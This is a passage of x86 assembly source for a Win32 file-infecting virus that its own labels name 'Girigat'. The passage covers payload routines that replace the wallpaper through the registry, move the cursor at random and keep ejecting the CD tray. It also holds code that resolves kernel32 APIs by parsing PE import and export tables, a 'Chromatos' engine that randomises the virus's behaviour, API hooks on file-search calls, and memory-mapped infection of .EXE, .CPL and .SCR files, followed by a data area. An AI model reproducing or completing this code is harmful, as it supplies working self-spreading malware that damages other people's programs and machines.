jne jmp_2_fnxt_a
mov byte ptr [ecx+unicode_api],OFF
jmp dword ptr [ecx+ad_@findnext_w]
jmp_2_fnxt_a: jmp dword ptr [ecx+ad_@findnext_a]
; <20>͹ Payload gallery <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20>Ĵ Wallpaper substitution <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
new_wallpaper: lea eax,dword ptr [ebp+sz_bmp_file]
push 0 80h 2 0 0 0c0000000h eax
call dword ptr [ebp+ad_createfile]
or eax,eax
jz wall_is_done
push eax
mov ecx,bmp_length
lea edx,dword ptr [ebp+byte_counter]
lea esi,dword ptr [ebp+bmp_start]
push 0 edx ecx esi eax
call dword ptr [ebp+ad_writefile]
or eax,eax
jz wall_is_done
pop eax
call dword ptr [ebp+ad_closehandle]
lea eax,dword ptr [ebp+handle_key]
lea edx,dword ptr [ebp+key_sz_desktop]
push eax 2 0 edx 80000001h
call dword ptr [ebp+ad_regopenkey]
mov edx,dword ptr [ebp+handle_key]
lea esi,dword ptr [ebp+key_dd_wpaper]
lea edi,dword ptr [ebp+key_sz_tilewp]
push 2 esi 1 0 edi edx
call dword ptr [ebp+ad_regsetvalue]
lea esi,dword ptr [ebp+key_dd_wpaper]
lea edi,dword ptr [ebp+key_sz_wpstyle]
push 2 esi 1 0 edi edx
call dword ptr [ebp+ad_regsetvalue]
lea esi,dword ptr [ebp+sz_bmp_file]
lea edi,dword ptr [ebp+key_sz_wpaper]
push 2 esi 1 0 edi edx
call dword ptr [ebp+ad_regsetvalue]
lea eax,dword ptr [ebp+handle_key]
lea edx,dword ptr [ebp+key_sz_colors]
push eax 2 0 edx 80000001h
call dword ptr [ebp+ad_regopenkey]
mov edx,dword ptr [ebp+handle_key]
lea esi,dword ptr [ebp+key_dd_color]
lea edi,dword ptr [ebp+key_sz_bgcolor]
push 2 esi 1 0 edi edx
call dword ptr [ebp+ad_regsetvalue]
wall_is_done: ret
; <20>Ĵ Cursor random positioning <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
crazy_cursor: mov eax,250h
call pseudorandom
mov edx,300h
xchg edx,eax
call pseudorandom
push edx eax
call dword ptr [ebp+ad_setcurpos]
mov eax,5000000h
delay_eax: dec eax
or eax,eax
jnz delay_eax
jmp crazy_cursor
; <20>Ĵ Virus+author credits <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
virus_about: push 7f03h 0
call dword ptr [ebp+ad_loadicon]
lea esi,dword ptr [ebp+virus_creds]
lea edi,dword ptr [ebp+about_title]
push eax esi edi 0
call dword ptr [ebp+ad_shellabout]
ret
; <20>Ĵ CD caddy fun <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
poltergeist: lea eax,dword ptr [ebp+sz_open_cd]
push 0 0 0 eax
call dword ptr [ebp+ad_mcisendstr]
lea eax,dword ptr [ebp+sz_close_cd]
push 0 0 0 eax
call dword ptr [ebp+ad_mcisendstr]
jmp poltergeist
; <20>͹ Viral subroutines <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20>Ĵ Look for a given API in our host's IT <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
get_it_api: cld
cmp word ptr [ebx],'ZM'
jne it_api_error
mov esi,ebx
add esi,dword ptr [ebx+3ch]
mov edi,dword ptr [esi]
cmp edi,'EP'
jne it_api_error
push eax
mov esi,dword ptr [esi+80h]
add esi,ebx
mov eax,esi
look_for_k32: mov esi,eax
mov esi,dword ptr [esi+0ch]
add esi,ebx
cmp dword ptr [esi],'NREK'
je k32_is_here
add eax,14h
jmp look_for_k32
k32_is_here: mov esi,eax
mov eax,dword ptr [esi+10h]
add eax,ebx
mov dword ptr [ebp+imp_tbl_desc],eax
cmp dword ptr [esi],0
je it_api_error
pop edi
xor eax,eax
mov esi,dword ptr [esi]
add esi,ebx
mov edx,esi
search_it_api: cmp dword ptr [edx],0
je it_api_error
cmp byte ptr [edx+3],80h
je add_and_lewp
push ecx edi
mov esi,2
add esi,ebx
add esi,dword ptr [edx]
repe cmpsb
cmp ecx,0
pop edi ecx
jne add_and_lewp
shl eax,2
add eax,dword ptr [ebp+imp_tbl_desc]
mov edx,eax
mov eax,dword ptr [eax]
ret
add_and_lewp: inc eax
add edx,4
jmp search_it_api
it_api_error: mov eax,0ffffffffh
ret
; <20>Ĵ Look for a given API in KERNEL32's ET <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
get_et_api: cld
push ebx eax
mov ebx,dword ptr [ebp+ad_kernel32]
cmp word ptr [ebx],'ZM'
jne et_api_error
mov esi,dword ptr [ebx+3ch]
add esi,ebx
cmp word ptr [esi],'EP'
jne et_api_error
mov esi,dword ptr [esi+78h]
add esi,ebx
mov eax,dword ptr [esi+1ch]
add eax,ebx
mov dword ptr [ebp+@functions],eax
mov eax,dword ptr [esi+20h]
add eax,ebx
mov dword ptr [ebp+@names],eax
mov eax,dword ptr [esi+24h]
add eax,ebx
mov dword ptr [ebp+@ordinals],eax
xor eax,eax
pop esi
search_et_api: push ecx esi
mov edi,dword ptr [ebp+@names]
add edi,eax
mov edi,dword ptr [edi]
add edi,dword ptr [ebp+ad_kernel32]
repe cmpsb
cmp ecx,0
jne go_for_next
pop esi ecx
shr eax,1
xor ebx,ebx
add eax,dword ptr [ebp+@ordinals]
mov bx,word ptr [eax]
shl ebx,2
add ebx,dword ptr [ebp+@functions]
mov eax,dword ptr [ebx]
add eax,dword ptr [ebp+ad_kernel32]
pop ebx
ret
go_for_next: pop esi ecx
add eax,4
jmp search_et_api
et_api_error: mov eax,0ffffffffh
pop ebx
ret
; <20>Ĵ Chromatos self-behavior mutation engine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
chromatos: mov ecx,5
lea edi,dword ptr [ebp+flags_start]
first_phase: mov eax,0ah
call pseudorandom
cmp eax,4
jae activ8_flag
xor eax,eax
jmp update_flag
activ8_flag: mov eax,1
update_flag: mov byte ptr [edi],al
inc edi
loop first_phase
mov ecx,2
second_phase: mov eax,1
call pseudorandom
mov byte ptr [edi],al
inc edi
loop second_phase
cmp byte ptr [ebp+flag_hooking],OFF
jne dir_flags
mov byte ptr [ebp+flag_runtime],ON
dir_flags: cmp byte ptr [ebp+flag_windir],OFF
jne file_flags
mov byte ptr [ebp+flag_curdir],ON
file_flags: cmp byte ptr [ebp+flag_hit_cpl],OFF
jne no_prob_babe
cmp byte ptr [ebp+flag_hit_scr],OFF
jne no_prob_babe
mov byte ptr [ebp+flag_hit_exe],ON
no_prob_babe: ret
; <20>Ĵ Pseudorandom value generator <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pseudorandom: push ecx edx
mov ecx,eax
call get_random
xor edx,edx
div ecx
mov eax,edx
pop edx ecx
ret
; <20>Ĵ Random value generator <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
get_random: push ecx edx
mov eax,dword ptr [ebp+random_seed]
mov ecx,eax
imul eax,41c64e6dh
add eax,3039h
mov dword ptr [ebp+random_seed],eax
xor eax,ecx
pop edx ecx
ret
; <20>Ĵ Add wildcard to directory buffer <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
add_wildcard: cld
lea edi,dword ptr [ebp+edx+dir_buffer]
mov al,'\'
stosb
copy_string: lodsb
stosb
or al,al
jnz copy_string
ret
; <20>Ĵ Process current file <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
manage_file: cmp byte ptr [ebp+flag_hit_cpl],ON
jne check_exe
cmp eax,'LPC.'
je process_file
cmp eax,'lpc.'
je process_file
check_exe: cmp byte ptr [ebp+flag_hit_exe],ON
jne check_scr
cmp eax,'EXE.'
je process_file
cmp eax,'exe.'
je process_file
check_scr: cmp byte ptr [ebp+flag_hit_scr],ON
jne just_return
cmp eax,'RCS.'
je process_file
cmp eax,'rcs.'
jne just_return
process_file: push edx
call open_map_file
or ebx,ebx
jz invalid_file
call setup_file
cmp eax,0ffffffffh
je unmap_n_close
call unmap_close
pop edx
add dword ptr [ebp+win32_finddata+20h],size_in_file
call open_map_file
call infect_file
call unmap_close
ret
unmap_n_close: call unmap_close
invalid_file: pop edx
just_return: ret
; <20>Ĵ Open a file and memory-map it <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
open_map_file: push 0 80h 3 0 0 0c0000000h edx
call dword ptr [ebp+ad_createfile]
cmp eax,0ffffffffh
je exit_mapping
mov dword ptr [ebp+handle_open],eax
push 0 dword ptr [ebp+win32_finddata+20h]
push 0 4 0 dword ptr [ebp+handle_open]
call dword ptr [ebp+ad_cfmapping]
or eax,eax
jz close_handle
mov dword ptr [ebp+handle_map],eax
push dword ptr [ebp+win32_finddata+20h]
push 0 0 2 dword ptr [ebp+handle_map]
call dword ptr [ebp+ad_mapview]
xchg ebx,eax
or ebx,ebx
jz close_mapping
ret
; <20>Ĵ Unmap a file and close its handle <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
unmap_close: push ebx
call dword ptr [ebp+ad_unmapview]
close_mapping: push dword ptr [ebp+handle_map]
call dword ptr [ebp+ad_closehandle]
close_handle: push dword ptr [ebp+handle_open]
call dword ptr [ebp+ad_closehandle]
exit_mapping: xor ebx,ebx
ret
; <20>Ĵ Get a relative offset <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
get_relative: call lambda_offset
lambda_offset: pop ebp
sub ebp,offset lambda_offset
ret
; <20>Ĵ Girigat BMP logo <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bmp_start label byte
db 42h,4dh,5eh,04h,0,0,0,0,0,0,76h,0,0,0,28h,0,0,0,49h,0,0,0,19h
db 0,0,0,1,0,4,0,0,0,0,0,0e8h,3,0,0,0c4h,0eh,0,0,0c4h,0eh,0,0,0,0
db 0,0,0,0,0,0,0ffh,0ffh,0ffh,0,0e1h,0f3h,0ffh,0,0aeh,0dbh,0ffh,0
db 8dh,0cbh,0feh,0,9ah,0d3h,0fdh,0,70h,0beh,0fah,0,6bh,0bch,0f9h
db 0,0,99h,0eeh,0,18h,17h,12h,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,90h,0,0,0,99h,22h
db 22h,99h,99h,99h,99h,99h,92h,22h,99h,99h,22h,22h,99h,99h,99h,99h
db 99h,22h,29h,99h,99h,99h,99h,33h,39h,99h,99h,99h,22h,29h,33h,39h
db 99h,99h,90h,0,0,0,99h,27h,72h,99h,99h,99h,99h,99h,22h,72h
db 99h,99h,27h,72h,99h,99h,99h,99h,92h,27h,29h,99h,99h,99h,93h,37h
db 39h,99h,99h,92h,77h,73h,37h,39h,99h,99h,90h,0,0,0,99h,27h
db 72h,99h,99h,99h,99h,99h,27h,72h,99h,99h,27h,72h,99h,99h,99h,99h
db 22h,77h,29h,99h,99h,99h,93h,77h,39h,99h,99h,27h,77h,23h,77h,39h
db 99h,99h,90h,0,0,0,99h,27h,72h,99h,99h,22h,22h,99h,27h,72h
db 99h,99h,27h,72h,99h,99h,99h,92h,27h,72h,99h,93h,33h,39h,93h,77h
db 39h,99h,93h,77h,22h,83h,77h,39h,99h,99h,90h,0,0,0,99h,27h
db 72h,99h,92h,27h,72h,99h,27h,72h,99h,99h,27h,72h,99h,99h,99h,22h
db 77h,29h,99h,33h,77h,39h,93h,77h,39h,99h,37h,73h,28h,83h,77h,39h
db 99h,99h,90h,0,0,0,99h,27h,72h,99h,22h,77h,72h,99h,27h,72h
db 99h,99h,27h,72h,99h,99h,93h,37h,72h,99h,93h,37h,77h,39h,93h,77h
db 39h,99h,37h,73h,88h,83h,77h,39h,99h,99h,90h,0,0,0,99h,27h
db 72h,99h,27h,77h,72h,99h,27h,72h,99h,99h,27h,72h,99h,99h,33h,77h
db 33h,99h,93h,77h,77h,39h,93h,77h,39h,99h,37h,73h,88h,83h,77h,39h
db 99h,99h,90h,0,0,0,99h,27h,72h,99h,27h,77h,72h,99h,27h,72h
db 99h,99h,27h,72h,99h,99h,37h,77h,73h,99h,93h,77h,77h,39h,93h,77h
db 39h,99h,37h,73h,38h,83h,77h,39h,99h,99h,90h,0,0,0,99h,27h
db 72h,99h,27h,27h,72h,99h,27h,72h,99h,99h,27h,72h,99h,93h,37h,77h
db 73h,99h,93h,73h,77h,39h,93h,77h,39h,99h,37h,77h,33h,33h,77h,39h
db 99h,99h,90h,0,0,0,99h,27h,72h,99h,22h,27h,72h,99h,27h,72h
db 99h,99h,27h,72h,99h,93h,77h,77h,73h,39h,93h,33h,77h,39h,93h,77h
db 39h,99h,37h,77h,77h,77h,77h,39h,99h,99h,90h,0,0,0,99h,27h
db 72h,99h,99h,27h,72h,99h,27h,72h,99h,99h,27h,72h,99h,93h,73h,37h
db 77h,39h,99h,93h,77h,39h,93h,77h,39h,99h,93h,77h,77h,77h,77h,39h
db 99h,99h,90h,0,0,0,99h,27h,72h,99h,99h,27h,72h,99h,27h,72h
db 99h,99h,27h,72h,99h,99h,99h,37h,77h,39h,99h,93h,77h,39h,93h,77h
db 39h,99h,99h,99h,99h,93h,77h,39h,99h,99h,90h,0,0,0,92h,27h
db 72h,22h,22h,27h,72h,22h,27h,72h,24h,41h,27h,75h,33h,33h,33h,37h
db 77h,33h,33h,33h,77h,33h,33h,77h,33h,33h,33h,33h,33h,33h,77h,33h
db 33h,33h,30h,0,0,0,22h,77h,77h,77h,77h,77h,77h,77h,77h,77h
db 77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h
db 77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,30h,0,0,0,27h,77h
db 77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h
db 77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h,77h
db 77h,33h,30h,0,0,0,22h,27h,72h,22h,22h,22h,22h,22h,22h,22h
db 22h,26h,37h,73h,33h,33h,33h,33h,33h,33h,33h,33h,33h,33h,33h,33h
db 33h,33h,33h,33h,33h,33h,33h,33h,33h,39h,90h,0,0,0,99h,27h
db 72h,99h,99h,99h,99h,99h,99h,99h,99h,99h,37h,73h,99h,99h,99h,99h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,90h,0,0,0,99h,27h,72h,99h,99h,97h,72h,99h,99h,99h
db 99h,99h,37h,73h,99h,99h,97h,73h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,90h,0,0,0,99h,27h
db 77h,22h,77h,77h,22h,99h,99h,99h,99h,99h,37h,77h,33h,77h,77h,33h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,90h,0,0,0,99h,27h,77h,77h,77h,72h,29h,99h,99h,99h
db 99h,99h,37h,77h,77h,77h,73h,39h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,90h,0,0,0,99h,22h
db 77h,72h,22h,22h,99h,99h,99h,99h,99h,99h,33h,77h,73h,33h,33h,99h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,90h,0,0,0,99h,92h,22h,22h,99h,99h,99h,99h,99h,99h
db 99h,99h,93h,33h,33h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,90h,0,0,0,99h,99h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,90h,0,0,0,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,99h
db 99h,99h,99h,99h,99h,99h,99h,99h,99h,99h,90h,0,0,0
bmp_end label byte
; <20>͹ Data area <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20>Ĵ Internal data <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ON equ 1
OFF equ 0
rgb_value db 0
element_no db 1
buffer_size dd 102h
base_default equ 400000h
bmp_length equ bmp_end-bmp_start
size_in_file equ file_end-global_start
key_dd_wpaper db '0',0
key_dd_color db '0 0 0',0
flags_start label byte
flag_curdir db ON
flag_windir db OFF
flag_hooking db ON
flag_runtime db ON
flag_hit_exe db ON
flag_hit_cpl db OFF
flag_hit_scr db OFF
flags_end label byte
birth_month dw ?
birth_day dw ?
@sz_apis_start label byte
dd offset sz_gcompname
dd offset sz_lstrcpy
dd offset sz_getsystime
dd offset sz_loadlibrary
dd offset sz_writefile
dd offset sz_getcurdir
dd offset sz_getwindir
dd offset sz_getsysdir
dd offset sz_findfirst
dd offset sz_findnext
dd offset sz_findclose
dd offset sz_createfile
dd offset sz_cfmapping
dd offset sz_mapview
dd offset sz_unmapview
dd offset sz_closehandle
dd offset sz_wide2multi
@sz_apis_end label byte
@payloads_start label byte
dd offset new_wallpaper
dd offset crazy_cursor
dd offset virus_about
dd offset poltergeist
@payloads_end label byte
dd_hook_start label byte
dd_@crtfile_a dd sz_@crtfile_w-sz_@crtfile_a
ad_@crtfile_a dd ?
@ad_crtfile_a dd offset @createfile
dd_@crtfile_w dd sz_@findfst_a-sz_@crtfile_w
ad_@crtfile_w dd ?
@ad_crtfile_w dd offset @@createfile
dd_@findfst_a dd sz_@findfst_w-sz_@findfst_a
ad_@findfst_a dd ?
@ad_findfst_a dd offset @findfirst
dd_@findfst_w dd sz_@findnext_a-sz_@findfst_w
ad_@findfst_w dd ?
@ad_findfst_w dd offset @@findfirst
dd_@findnext_a dd sz_@findnext_w-sz_@findnext_a
ad_@findnext_a dd ?
@ad_findnext_a dd offset @findnext
dd_@findnext_w dd sz_hook_end-sz_@findnext_w
ad_@findnext_w dd ?
@ad_findnext_w dd offset @@findnext
dd_hook_end dd 0
sz_kernel32 db 'KERNEL32.dll',0
sz_user32 db 'USER32.dll',0
sz_advapi32 db 'ADVAPI32.dll',0
sz_winmm db 'WINMM.dll',0
sz_shell32 db 'SHELL32.dll',0
sz_gmhandlea db 'GetModuleHandleA',0
sz_gmhandlew db 'GetModuleHandleW',0
sz_gpaddress db 'GetProcAddress',0
sz_apis_start label byte
sz_gcompname db 'GetComputerNameA',0
sz_lstrcpy db 'lstrcpyA',0
sz_getsystime db 'GetSystemTime',0
